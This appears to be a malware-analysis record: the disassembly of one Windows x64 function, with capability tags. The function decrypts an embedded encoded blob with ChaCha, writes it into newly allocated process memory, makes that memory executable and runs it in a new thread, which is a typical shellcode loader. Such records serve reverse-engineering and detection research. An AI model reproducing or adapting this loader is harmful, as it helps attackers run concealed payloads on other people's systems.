Function at 0x403260
Capabilities:
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
xor eax, eax
push r13
push r12
mov ecx, 0xc
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
mov rsi, qword [str._BCV4YBrDfbTur8utoV7Ihq0U_Tgc89l9j9oS5pk5N2shnLj8ATogzSXsXU5YX6alnCeligo6f8zjYHq0bC_EJAT8Gk4ExsF8YOuc4cvTSaMhjmo3krja_zuUGvEqdfMt_TK6MQ_5kcNLAjzNK07h0wWSufEbgVO_3jgV6JkY8XwvQh8zju8SP9s_mPFEk3Qj7HGXooyHgUAnEc5zbzyqFnIwG34BOTRcd3_7rKGNOUx8cAZvMyzZ8RxyNPM0BvFUzwiYIDbECdGXpPQoh0uuHRzkoHkcI2ONf6CtSXkhRtBnOSCfQAbHHz1mZwq2YSmlNMPzbISDL53rQeKy2ht5BrhpXQGs3IXsFZq01hjdm9_Cf1AXaBk0kz7PLYaDkTB8nUDChXZECXNKRl2WLykitlyOM0TLiPac1auIQjBbvy0qmfmvFDzBq_w9AmwuAc77M40EzcmNNjFFEFikaGTQ5nUOyN7gvoAyRhaah9clPcDYMfCAX0FbPBDDbbPonYiKLMo5sf9zQOnp5Lm2XbIBatYsI3eobAZEZEsuTzv16QmX9BaYcqlZ5ovejNYo4B6bTHf7CdI4tkZCKtj0hn_JdKZSzhns74pADS8XDWhU9AxYgaJNXeEWV6KGvKUE2DzfT0JrEnSsYidllMFBsaDqj_OE3ybC6WLxUzSf0kfxvLLhL_tSsXG_4K_VDOnhyXNblZMICMDfJMXCeBD8D8C2xqt8sVL7cd3La9m5FfypZ4EnL0AF31sFLUwaUaSmX7BoUApQhqo6LOIF6YOBJ6GRciTojXNgAER_bN7LvEuiCSpwce17ydZi0B0SNVDGYsPHxvhZjCmvrdsb4ij5_egQySVubrCIAc2_BAOVvkZgSj2sIyeGoqCwvDooViTsl6qN__K4xye7LveYIvx8ukjRu5nNht8k2OCqd498ylJmyL1P9Rn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3tGkqmXYDJdh862oKTaNO3zJ6xOnhwQmIjinldnW_6Gageb0rA1giNfbNBkzXZ__Dy8yCxTBZzgn7CalPjvgPlYsI9IVCtHG0kesaCwSUnEx_IaKYjvylbNfCUoGlSYqOsDTlmZtwHqVY2RDwajrj8SII1q6ekkd5VhuMF0QoVca7XWbOGpciOqDVJ7NonkDb6C473zO7mxEBlZtxhxE117X3ryKpGe7yAPRztn2Zz9nmFm7z7GkZFHuD3yjpAMzeJjYQ6hl_FmkytAFLbf72ljnSp62VWz4eB9yKHCyPpobkjqrACh7umMv0AEmI0BG7dW0kEZCnzFgKcg4__tg1BSFx8blsfWyFQNFqadZq8YMohRJVPNHMIfonypeLJ5L8ggHPUTrC2GeTpzgteK7A_K3n6lHTAgdRAI87jE1JPSVuyfDuGNk29MksZuLhw9WcHagrPpgaSImLO6Aee5Ej6NUHeFsFlzO9QnrYKVcZBx_o9wGVCJgEKhv1NXf8UcBbytSDULU4HSn2i1GFt0qo20R9vdLojS1tvkEpUYCj29PG2bQkyPbuM0VelutF0ku4LomraBo9OsIBF85QagxX64uqFciM3FXn_iFFXP7apr4rJSVc0TetWFs7Bd2cxfu_Q5kM6yEi4c4SkFTl3SG5OYhGbvq_uChsLdDuRdrFq0BqPb1jJ7L0H2meZLxWkk0EAmulDhOHiApWzz8wZguhHQ08XJFIxETL4DBvzfGwHFz6r9UiJtaIN1ktYYmaRb2TTfAAUAXSZ1EX6yTRdCaVq2urih3E1J76dGVEmYZFCMxDMDov70X4QlsNfOzAOKMloWl0gH7Xhr5iUtj4bYn60ZfNjiKgtTW6RQeaDRYp5yvWQkGgzbmY0_EZpkiL3iAfwCPCLapn0OlxDAdkouZOuQutLoAXa_QG0Rf]
lea rdi, [rsp + 0xe0]
mov dword [rsp + 0xb4], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
rep stosd dword [rdi], eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea rbx, [rcx - 1]
movsxd rcx, ebx
call sub.msvcrt.dll_malloc
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.00403020
cdqe
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsp + 0xb8]
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0xe0]
cdqe
mov edx, 0x1f0fff
mov qword [rsp + 0xd0], rax
call fcn.00401620
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0xc8]
lea r9, [rsp + 0xc0]
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call fcn.00401560
mov rax, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_malloc
cmp dword [rsp + 0x68], 0
mov qword [rsp + 0x90], rax
je 0x40390d
mov eax, dword [rsp + 0x68]
lea rsi, [rsp + 0x110]
mov qword [rsp + 0xa0], 0
mov dword [rsp + 0x98], 1
mov qword [rsp + 0x88], rsi
mov dword [rsp + 0x74], eax
mov rax, qword [rsp + 0x90]
cmp dword [rsp + 0x74], 0x3f
ja 0x4033dd
xor edx, edx
mov cl, byte [rdi + rdx]
mov rsi, qword [rsp + 0x88]
inc rdx
mov byte [rdx + rsi - 1], cl
cmp dword [rsp + 0x74], edx
ja 0x4033b7
mov qword [rsp + 0xa0], rax
mov rdi, rsi
mov rax, rsi
mov r13d, dword [rsp + 0x98]
mov dword [rsp + 0xac], 0xb
mov r14d, 0x5a65d26a
mov dword [rsp + 0x80], 0xce9dc873
mov dword [rsp + 0x78], 0xebba2b3
mov r15d, 0x3a55295d
mov dword [rsp + 0x84], 0x7b902813
mov dword [rsp + 0x7c], 0x9410dc11
mov ebp, 0x89bb673c
mov ecx, 0x86d74e6
mov r8d, 0xf9b51b81
mov r9d, 0x82698e9c
mov edx, 0xa040d468
mov r10d, 0x6b206574
mov r11d, 0x79622d32
mov ebx, 0x3320646e
mov esi, 0x61707865
dec dword [rsp + 0xac]
je 0x4035f0
add esi, edx
mov r12d, dword [rsp + 0x78]
add ebx, r9d
xor r13d, esi
add r11d, r8d
rol r13d, 0x10
xor r14d, r11d
add ebp, r13d
xor r12d, ebx
rol r14d, 0x10
xor edx, ebp
rol r12d, 0x10
add r15d, r14d
rol edx, 0xc
xor r8d, r15d
add esi, edx
rol r8d, 0xc
xor r13d, esi
add r11d, r8d
rol r13d, 8
xor r14d, r11d
add ebp, r13d
xor edx, ebp
rol edx, 7
mov dword [rsp + 0x9c], edx
mov edx, dword [rsp + 0x7c]
add edx, r12d
xor r9d, edx
rol r9d, 0xc
add ebx, r9d
xor r12d, ebx
rol r12d, 8
add edx, r12d
mov dword [rsp + 0x7c], edx
xor r9d, edx
mov edx, dword [rsp + 0x80]
rol r9d, 7
rol r14d, 8
add r10d, ecx
add r15d, r14d
mov dword [rsp + 0xa8], r14d
mov r14d, dword [rsp + 0x84]
xor edx, r10d
add esi, r9d
xor r8d, r15d
rol edx, 0x10
rol r8d, 7
add r14d, edx
add ebx, r8d
xor ecx, r14d
xor r13d, ebx
rol ecx, 0xc
rol r13d, 0x10
add r10d, ecx
xor edx, r10d
rol edx, 8
add r14d, edx
xor edx, esi
rol edx, 0x10
xor ecx, r14d
add r14d, r13d
add r15d, edx
rol ecx, 7
xor r9d, r15d
rol r9d, 0xc
add esi, r9d
xor edx, esi
rol edx, 8
add r15d, edx
mov dword [rsp + 0x80], edx
xor r9d, r15d
rol r9d, 7
xor r8d, r14d
add r11d, ecx
rol r8d, 0xc
xor r12d, r11d
add r10d, dword [rsp + 0x9c]
add ebx, r8d
rol r12d, 0x10
xor r13d, ebx
add ebp, r12d
rol r13d, 8
xor ecx, ebp
lea edx, [r14 + r13]
mov r14d, dword [rsp + 0xa8]
rol ecx, 0xc
add r11d, ecx
xor r8d, edx
mov dword [rsp + 0x84], edx
mov edx, dword [rsp + 0x7c]
xor r14d, r10d
xor r12d, r11d
rol r8d, 7
rol r14d, 0x10
rol r12d, 8
add edx, r14d
add ebp, r12d
mov dword [rsp + 0x78], r12d
mov r12d, edx
mov edx, dword [rsp + 0x9c]
xor ecx, ebp
rol ecx, 7
xor edx, r12d
rol edx, 0xc
add r10d, edx
xor r14d, r10d
rol r14d, 8
add r12d, r14d
xor edx, r12d
mov dword [rsp + 0x7c], r12d
rol edx, 7
jmp 0x403453
mov r12d, dword [rsp + 0x7c]
sub edx, 0x5fbf2b98
xor edx, dword [rdi + 0x10]
add r14d, 0x5a65d26a
add esi, 0x61707865
xor esi, dword [rdi]
mov dword [rsp + 0x9c], r14d
mov r14d, dword [rsp + 0x80]
add ebx, 0x3320646e
sub r12d, 0x6bef23ef
xor ebx, dword [rdi + 4]
add r11d, 0x79622d32
mov dword [rsp + 0x7c], r12d
mov r12d, dword [rsp + 0x84]
add r10d, 0x6b206574
sub r14d, 0x3162378d
xor r11d, dword [rdi + 8]
add r13d, dword [rsp + 0x98]
mov dword [rsp + 0xa8], r14d
xor r10d, dword [rdi + 0xc]
sub r9d, 0x7d967164
add r12d, 0x7b902813
xor r9d, dword [rdi + 0x14]
xor r13d, dword [rdi + 0x30]
mov dword [rsp + 0x84], r12d
mov r12d, dword [rsp + 0x78]
sub r8d, 0x64ae47f
mov dword [rsp + 0x78], edx
mov edx, dword [rsp + 0x7c]
add ecx, 0x86d74e6
xor edx, dword [rdi + 0x24]
xor r8d, dword [rdi + 0x18]
sub ebp, 0x764498c4
xor ecx, dword [rdi + 0x1c]
xor ebp, dword [rdi + 0x20]
add r15d, 0x3a55295d
add r12d, 0xebba2b3
xor r15d, dword [rdi + 0x28]
xor r12d, dword [rdi + 0x34]
mov r14d, dword [rsp + 0x84]
xor r14d, dword [rdi + 0x2c]
mov dword [rsp + 0x7c], edx
mov edx, dword [rsp + 0x9c]
xor edx, dword [rdi + 0x38]
mov dword [rsp + 0x80], edx
mov edx, dword [rsp + 0xa8]
xor edx, dword [rdi + 0x3c]
mov dword [rsp + 0x84], edx
inc dword [rsp + 0x98]
mov edx, esi
mov byte [rax], sil
shr esi, 0x18
mov byte [rax + 1], dh
mov byte [rax + 3], sil
shr edx, 0x10
mov byte [rax + 4], bl
mov byte [rax + 5], bh
mov esi, ebx
shr ebx, 0x18
mov byte [rax + 2], dl
shr esi, 0x10
mov byte [rax + 7], bl
mov edx, dword [rsp + 0x78]
mov ebx, r11d
mov byte [rax + 9], bh
shr ebx, 0x10
mov byte [rax + 8], r11b
mov byte [rax + 0xa], bl
shr r11d, 0x18
mov ebx, r10d
shr edx, 0x18
mov byte [rax + 0xb], r11b
mov byte [rax + 0xc], r10b
mov byte [rax + 0xd], bh
mov r11d, r10d
mov ebx, dword [rsp + 0x78]
shr r10d, 0x18
mov byte [rax + 0x13], dl
mov edx, r9d
mov byte [rax + 0xf], r10b
mov r10d, dword [rsp + 0x78]
shr edx, 0x10
mov byte [rax + 6], sil
mov sil, byte [rsp + 0x78]
shr r11d, 0x10
mov byte [rax + 0x11], bh
mov byte [rax + 0x16], dl
mov ebx, r9d
mov edx, r8d
shr r10d, 0x10
mov byte [rax + 0x14], r9b
shr edx, 0x10
mov byte [rax + 0x15], bh
shr r9d, 0x18
mov ebx, r8d
mov byte [rax + 0x10], sil
mov byte [rax + 0x18], r8b
mov byte [rax + 0x19], bh
mov byte [rax + 0xe], r11b
mov ebx, ebp
mov byte [rax + 0x12], r10b
mov byte [rax + 0x17], r9b
shr r8d, 0x18
mov byte [rax + 0x1a], dl
mov edx, ecx
mov byte [rax + 0x21], bh
shr edx, 0x10
mov ebx, dword [rsp + 0x7c]
mov sil, byte [rsp + 0x7c]
mov byte [rax + 0x1e], dl
mov edx, ebp
mov byte [rax + 0x1c], cl
shr edx, 0x10
mov byte [rax + 0x1d], ch
mov byte [rax + 0x20], bpl
mov byte [rax + 0x22], dl
mov edx, dword [rsp + 0x7c]
shr ecx, 0x18
mov byte [rax + 0x25], bh
mov ebx, r15d
shr ebp, 0x18
mov byte [rax + 0x29], bh
mov ebx, r14d
mov byte [rax + 0x28], r15b
shr edx, 0x10
mov byte [rax + 0x2d], bh
mov ebx, r13d
mov byte [rax + 0x26], dl
mov edx, dword [rsp + 0x7c]
mov byte [rax + 0x2c], r14b
mov byte [rax + 0x30], r13b
mov byte [rax + 0x31], bh
mov byte [rax + 0x34], r12b
mov ebx, r12d
shr edx, 0x18
mov byte [rax + 0x24], sil
mov byte [rax + 0x35], bh
mov byte [rax + 0x27], dl
mov edx, r15d
shr r15d, 0x18
shr edx, 0x10
mov byte [rax + 0x1b], r8b
mov byte [rax + 0x1f], cl
mov byte [rax + 0x2a], dl
mov edx, r14d
shr r14d, 0x18
shr edx, 0x10
mov byte [rax + 0x23], bpl
mov byte [rax + 0x2b], r15b
mov byte [rax + 0x2e], dl
mov edx, r13d
shr r13d, 0x18
shr edx, 0x10
mov byte [rax + 0x2f], r14b
mov byte [rax + 0x33], r13b
mov byte [rax + 0x32], dl
mov edx, r12d
shr r12d, 0x18
shr edx, 0x10
mov byte [rax + 0x36], dl
mov byte [rax + 0x37], r12b
mov ebx, dword [rsp + 0x80]
mov sil, byte [rsp + 0x80]
mov edx, ebx
mov byte [rax + 0x39], bh
mov byte [rax + 0x38], sil
shr edx, 0x10
mov sil, byte [rsp + 0x84]
mov byte [rax + 0x3a], dl
mov edx, ebx
mov ebx, dword [rsp + 0x84]
shr edx, 0x18
mov byte [rax + 0x3b], dl
mov byte [rax + 0x3c], sil
mov edx, ebx
mov byte [rax + 0x3d], bh
shr edx, 0x10
mov byte [rax + 0x3e], dl
mov edx, ebx
shr edx, 0x18
cmp dword [rsp + 0x74], 0x40
mov byte [rax + 0x3f], dl
ja 0x4038fb
mov edi, dword [rsp + 0x68]
lea edx, [rdi - 1]
shr edx, 6
imul edx, edx, 0xffffffc0
add edx, edi
cmp edx, 0x40
je 0x40390d
xor ecx, ecx
mov r8b, byte [rax + rcx]
mov rdi, qword [rsp + 0xa0]
mov byte [rdi + rcx], r8b
inc rcx
cmp edx, ecx
ja 0x4038e2
jmp 0x40390d
sub dword [rsp + 0x74], 0x40
add rax, 0x40
add rdi, 0x40
jmp 0x4033ae
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x90]
mov ebx, 0xa
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x20], 0
call fcn.0040167c
lea rax, [rsp + 0xb4]
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0xc8]
lea r8, [rsp + 0xc0]
mov r9d, 0x10
mov qword [rsp + 0x20], rax
call fcn.00401660
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xbb8
call rsi
dec ebx
jne 0x403974
mov rax, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xb8]
lea rcx, [rsp + 0x110]
xor r8d, r8d
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov edx, 0x1f03ff
mov qword [rsp + 0x28], rax
lea rax, [0x00403250]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x20], rax
call fcn.004015e0
or edx, 0xffffffff
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x110]
call fcn.004015a0
mov rcx, qword [rsp + 0xb8]
call fcn.004015a0
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret